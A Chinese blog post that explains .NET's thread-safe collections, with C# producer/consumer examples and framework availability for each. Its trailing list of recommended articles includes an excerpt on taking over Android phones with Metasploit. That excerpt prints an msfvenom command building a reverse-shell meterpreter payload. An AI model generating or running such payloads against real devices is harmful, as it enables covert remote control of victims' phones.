在多线程编程中,线程安全的数据结构是确保数据一致性和避免竞争条件的关键。.NET 提供了多种线程安全的数据结构,适用于不同的场景,本篇将介绍它们的简单使用以及在 .NET Core 和 .NET Framework 中的可用性。

1. ConcurrentQueue

ConcurrentQueue 是一个线程安全的先进先出 (FIFO) 队列。它允许多个线程同时进行入队和出队操作,而不会导致数据不一致。

使用场景

  • 适用于生产者-消费者模式
  • 需要保证元素按添加顺序处理的场景

优点

  • 高效的并发操作
  • 无需显式锁定

示例代码

using System.Collections.Concurrent;

var queue = new ConcurrentQueue<int>();
var cts = new CancellationTokenSource();
var token = cts.Token; // 生产者任务
var producer = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
queue.Enqueue(i);
Console.WriteLine($"Enqueued {i}");
Thread.Sleep(100); // 模拟生产延迟
}
}, token); // 消费者任务
var consumer = Task.Run(() =>
{
while (!token.IsCancellationRequested)
{
if (queue.TryDequeue(out int result))
{
Console.WriteLine($"Dequeued {result}");
}
Thread.Sleep(50); // 模拟消费延迟
}
}, token); await Task.WhenAll(producer);
cts.Cancel(); // 停止消费者任务
await consumer;

可用性

  • .NET Framework 4.0 及以上
  • .NET Core 1.0 及以上

2. ConcurrentStack

ConcurrentStack 是一个线程安全的后进先出 (LIFO) 堆栈。它允许多个线程同时进行入栈和出栈操作。

使用场景

  • 适用于需要后进先出处理的场景
  • 适用于深度优先搜索算法

优点

  • 高效的并发操作
  • 无需显式锁定

示例代码

using System.Collections.Concurrent;

var stack = new ConcurrentStack<int>();
var cts = new CancellationTokenSource();
var token = cts.Token; // 生产者任务
var producer = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
stack.Push(i);
Console.WriteLine($"Pushed {i}");
Thread.Sleep(100); // 模拟生产延迟
}
}, token); // 消费者任务
var consumer = Task.Run(() =>
{
while (!token.IsCancellationRequested)
{
if (stack.TryPop(out int result))
{
Console.WriteLine($"Popped {result}");
}
Thread.Sleep(50); // 模拟消费延迟
}
}, token); await Task.WhenAll(producer);
cts.Cancel(); // 停止消费者任务
await consumer;

可用性

  • .NET Framework 4.0 及以上
  • .NET Core 1.0 及以上

3. ConcurrentBag

ConcurrentBag 是一个线程安全的无序集合,适用于频繁添加和删除元素的场景。

使用场景

  • 适用于需要频繁添加和删除元素的场景
  • 适用于不关心元素顺序的场景

优点

  • 高效的并发操作
  • 无需显式锁定

示例代码

using System.Collections.Concurrent;

var bag = new ConcurrentBag<int>();
var cts = new CancellationTokenSource();
var token = cts.Token; // 生产者任务
var producer = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
bag.Add(i);
Console.WriteLine($"Added {i}");
Thread.Sleep(100); // 模拟生产延迟
}
}, token); // 消费者任务
var consumer = Task.Run(() =>
{
while (!token.IsCancellationRequested)
{
if (bag.TryTake(out int result))
{
Console.WriteLine($"Took {result}");
}
Thread.Sleep(50); // 模拟消费延迟
}
}, token); await Task.WhenAll(producer);
cts.Cancel(); // 停止消费者任务
await consumer;

可用性

  • .NET Framework 4.0 及以上
  • .NET Core 1.0 及以上

4. ConcurrentDictionary<TKey, TValue>

ConcurrentDictionary<TKey, TValue> 是一个线程安全的键值对集合,类似于 Dictionary<TKey, TValue>。

使用场景

  • 适用于需要频繁读取和写入键值对的场景
  • 适用于需要线程安全的字典操作的场景

优点

  • 高效的并发操作
  • 支持原子操作,如AddOrUpdate和GetOrAdd`

示例代码

using System.Collections.Concurrent;

var dictionary = new ConcurrentDictionary<int, string>();

// 添加元素
var addTask = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
dictionary.TryAdd(i, $"value{i}");
Console.WriteLine($"Added key {i} with value value{i}");
}
}); // 更新元素
var updateTask = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
var ii = i;
dictionary.AddOrUpdate(i, $"new_value{i}", (key, oldValue) => $"new_value{ii}");
Console.WriteLine($"Updated key {i} with value new_value{i}");
}
}); // 读取元素
var readTask = Task.Run(() =>
{
foreach (var key in dictionary.Keys)
{
if (dictionary.TryGetValue(key, out string? value))
{
Console.WriteLine($"Key {key} has value {value}");
}
}
}); await Task.WhenAll(addTask, updateTask, readTask);

可用性

  • .NET Framework 4.0 及以上
  • .NET Core 1.0 及以上

5. BlockingCollection

BlockingCollection 提供线程安全的添加和移除操作,并支持阻塞和限界功能。可以与ConcurrentQueue<T>, ConcurrentStack<T>, ConcurrentBag<T>等一起使用。

使用场景

  • 适用于生产者-消费者模式
  • 需要阻塞和限界功能的场景

优点

  • 支持阻塞操作
  • 支持限界功能

示例代码

using System.Collections.Concurrent;

var collection = new BlockingCollection<int>(boundedCapacity: 5);
var cts = new CancellationTokenSource();
var token = cts.Token; // 生产者任务
var producer = Task.Run(() =>
{
for (int i = 0; i < 10; i++)
{
collection.Add(i);
Console.WriteLine($"Added {i}");
Thread.Sleep(100); // 模拟生产延迟
}
collection.CompleteAdding();
}, token); // 消费者任务
var consumer = Task.Run(() =>
{
foreach (var item in collection.GetConsumingEnumerable(token))
{
Console.WriteLine($"Consumed {item}");
Thread.Sleep(50); // 模拟消费延迟
}
}, token); await Task.WhenAll(producer, consumer);

可用性

*.NET Framework 4.0 及以上

  • .NET Core 1.0 及以上

6. ImmutableList

ImmutableList 是线程安全的,因为所有修改操作都会返回一个新的集合实例。

使用场景

  • 适用于需要线程安全且不希望集合被修改的场景
  • 适用于需要快照功能的场景

优点

  • 天然线程安全
  • 不可变性保证数据一致性

示例代码

var list = ImmutableList.Create(1, 2, 3);
var newList = list.Add(4); Console.WriteLine(string.Join(", ", newList)); // 输出 1, 2, 3, 4

可用性

  • .NET Framework 4.5 及以上(需要安装 System.Collections.Immutable NuGet 包)
  • .NET Core 1.0 及以上(需要安装 System.Collections.Immutable NuGet 包)

7. SynchronizedCollection

SynchronizedCollection 是一个线程安全的集合,适用于需要同步访问的场景。

使用场景

  • 适用于需要同步访问集合的场景
  • 适用于需要线程安全的集合操作的场景

优点

  • 内置同步机制
  • 线程安全的集合操作

示例代码

var collection = new SynchronizedCollection<int>();
collection.Add(1);
collection.Add(2); foreach (var item in collection)
{
Console.WriteLine(item); // 输出 1 和 2
}

可用性

  • .NET Framework 3.5 及以上
  • .NET Core 1.0 及以上

8. SynchronizedReadOnlyCollection

SynchronizedReadOnlyCollection 是一个线程安全的只

读集合。

使用场景

  • 适用于需要线程安全的只读集合的场景
  • 适用于需要同步访问集合的场景

优点

  • 内置同步机制
  • 线程安全的只读集合操作

示例代码

var list = new List<int> { 1, 2, 3 };
var readOnlyCollection = new SynchronizedReadOnlyCollection<int>(list); foreach (var item in readOnlyCollection)
{
Console.WriteLine(item); // 输出 1, 2, 3
}

可用性

  • .NET Framework 3.0 及以上
  • .NET Core 1.0 及以上

9. SynchronizedKeyedCollection<K, T>

SynchronizedKeyedCollection<K, T> 是一个线程安全的键控集合。

使用场景

  • 适用于需要线程安全的键控集合的场景
  • 适用于需要同步访问集合的场景

优点

  • 内置同步机制
  • 线程安全的键控集合操作

示例代码

public class MyItem
{
public int Id { get; set; }
public string Name { get; set; }
} var collection = new SynchronizedKeyedCollection<int, MyItem>(item => item.Id);
collection.Add(new MyItem { Id = 1, Name = "Item1" });
collection.Add(new MyItem { Id = 2, Name = "Item2" }); foreach (var item in collection)
{
Console.WriteLine(item.Name); // 输出 Item1 和 Item2
}

可用性

  • .NET Framework 3.0 及以上
  • .NET Core 1.0 及以上

.NET 中的线程安全数据结构的更多相关文章

  1. Windows API学习---用户方式中的线程同步

    前言 当所有的线程在互相之间不需要进行通信的情况下就能够顺利地运行时, Micrsoft Windows的运行性能最好.但是,线程很少能够在所有的时间都独立地进行操作.通常情况下,要生成一些线程来处理 ...

  2. Tomcat中常见线程说明

    http://blog.csdn.NET/jeff_fangji/article/details/41786205 本文讲述了Tomcat的常见线程的功能.名称.线程池和配置等信息,其中源码来自于To ...

  3. {Python之线程} 一 背景知识 二 线程与进程的关系 三 线程的特点 四 线程的实际应用场景 五 内存中的线程 六 用户级线程和内核级线程(了解) 七 python与线程 八 Threading模块 九 锁 十 信号量 十一 事件Event 十二 条件Condition(了解) 十三 定时器

    Python之线程 线程 本节目录 一 背景知识 二 线程与进程的关系 三 线程的特点 四 线程的实际应用场景 五 内存中的线程 六 用户级线程和内核级线程(了解) 七 python与线程 八 Thr ...

  4. java 中几种常用数据结构

    Java中有几种常用的数据结构,主要分为Collection和map两个主要接口(接口只提供方法,并不提供实现),而程序中最终使用的数据结构是继承自这些接口的数据结构类. 一.几个常用类的区别 1.A ...

  5. Linux中-POSIX 线程详解

    一种支持内存共享的简捷工具   摘自https://www.ibm.com/developerworks/cn/linux/thread/posix_thread1/ 线程是有趣的 了解如何正确运用线 ...

  6. 每天进步一点点——Linux中的线程局部存储(一)

    转载请说明出处:http://blog.csdn.net/cywosp/article/details/26469435    在Linux系统中使用C/C++进行多线程编程时,我们遇到最多的就是对同 ...

  7. java 中的线程池

    1.实现下面的一个需求,控制一个执行函数只能被五个线程访问 package www.weiyuan.test; public class Test { public static void main( ...

  8. android中的线程池学习笔记

    阅读书籍: Android开发艺术探索 Android开发进阶从小工到专家 对线程池原理的简单理解: 创建多个线程并且进行管理,提交的任务会被线程池指派给其中的线程进行执行,通过线程池的统一调度和管理 ...

  9. rxjava源码中的线程知识

    rxjava源码中的线程知识 rx的最精简的总结就是:异步 这里说一下以下的五个类 1.Future2.ConcurrentLinkedQueue3.volatile关键字4.AtomicRefere ...

  10. C#中的线程(一)入门

    文章系参考转载,英文原文网址请参考:http://www.albahari.com/threading/ 作者 Joseph Albahari,  翻译 Swanky Wu 中文翻译作者把原文放在了& ...

随机推荐

  1. Gradio 5 稳定版正式发布

    在过去的几个月里,我们一直在努力工作,今天,我们想向大家展示成果:Gradio 5 稳定版现已发布. 有了 Gradio 5,开发者可以构建 生产级的机器学习 Web 应用,这些应用不仅性能优越.可扩 ...

  2. Vue中如何自定义过滤器 ?

    过滤器可以格式化我们所需要的数据格式  : 自定义过滤器分为全局和局部过滤器: 全局过滤器在 main.js 中使用 Vue.direct4ive( 过滤器名字,定义过滤器的具体行为函数 ) : 局部 ...

  3. MSF 入侵安卓手机

    生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...

  4. SQL注入利用及绕过总结

    SQL注入及绕过姿势总结 概述 SQL注入指用户输入的参数可控且没有被过滤,攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行 不同数据库的语法可能存在差异,以MySQL为例,其他差异 ...

  5. 基于云原生的私有化 PaaS 平台交付实践

    作者:牛玉富,某知名互联网公司专家工程师.喜欢开源 / 热衷分享,对 K8s 及 golang 网关有较深入研究. 本文将解读如何利用云原生解决私有化交付中的问题,进而打造一个 PaaS 平台,提升业 ...

  6. Protues中51单片机按键无法复位(已解决)

    前言 昨晚用 Protues 搭建了 51 的最小系统电路,在实物中好用的复位电路,到仿真里不能正常复位了. 51 单片机是高电平复位,所以在运行时 RST 引脚应该是低电平,但在仿真中 RST 引脚 ...

  7. Spire.Pdf打印PDF文件

    1 /// <summary> 2 /// Spire.Pdf打印PDF文件 3 /// </summary> 4 /// <param name="fileN ...

  8. Visual Studio 2022只能使用WSL调试问题处理

    删除项目的Properties目录下面的launchSettings.json文件

  9. Docker for the Virtualization Admin

    Docker is one of the most successful open source projects in recent history, and organizations of al ...

  10. pycharm生成的allure测试报告如何查看本地的index.html文件?

    pycharm生成的allure测试报告应该是通过服务启动查看,但是如果把这个文件保存到本地查看,直接打开页面无内容 可以使用allure-combine工具实现本地正常打开 `from allure ...